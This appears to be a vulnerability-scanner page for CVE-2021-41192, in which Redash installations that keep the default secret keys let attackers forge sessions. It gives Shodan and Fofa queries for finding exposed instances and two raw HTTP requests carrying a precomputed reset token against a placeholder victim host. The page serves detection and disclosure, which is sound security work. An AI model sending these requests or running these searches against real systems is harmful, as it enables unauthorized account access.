| Title | Redash Setup Configuration - Default Secrets Disclosure |
|---|---|
| Author | bananabr |
| Severity | Medium |
| Impact | An attacker can gain unauthorized access to sensitive information and potentially compromise the Redash application. |
| Remediation | Remove or update the default secrets in the Redash setup configuration file. |
| CVSS Score | 6.5 |
| EPSS Score | 0.87556 |
| CVE ID | CVE-2021-41192 |
| CWE ID | CWE-1188 |
| Shodan Query | http.favicon.hash:698624197 |
| Fofa Query | icon_hash=698624197 |
| Tags | cve2021 cve hackerone redash auth-bypass vuln |
Redash Setup Configuration is vulnerable to default secrets disclosure (Insecure Default Initialization of Resource). If an admin sets up Redash versions <=10.0 and prior without explicitly specifying the REDASH_COOKIE_SECRET or REDASH_SECRET_KEY environment variables, a default value is used for both that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value.
GET /reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:128.12) Gecko/20100101 Firefox/128.12
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /redash/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41192.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41192.pcap
N/AN/A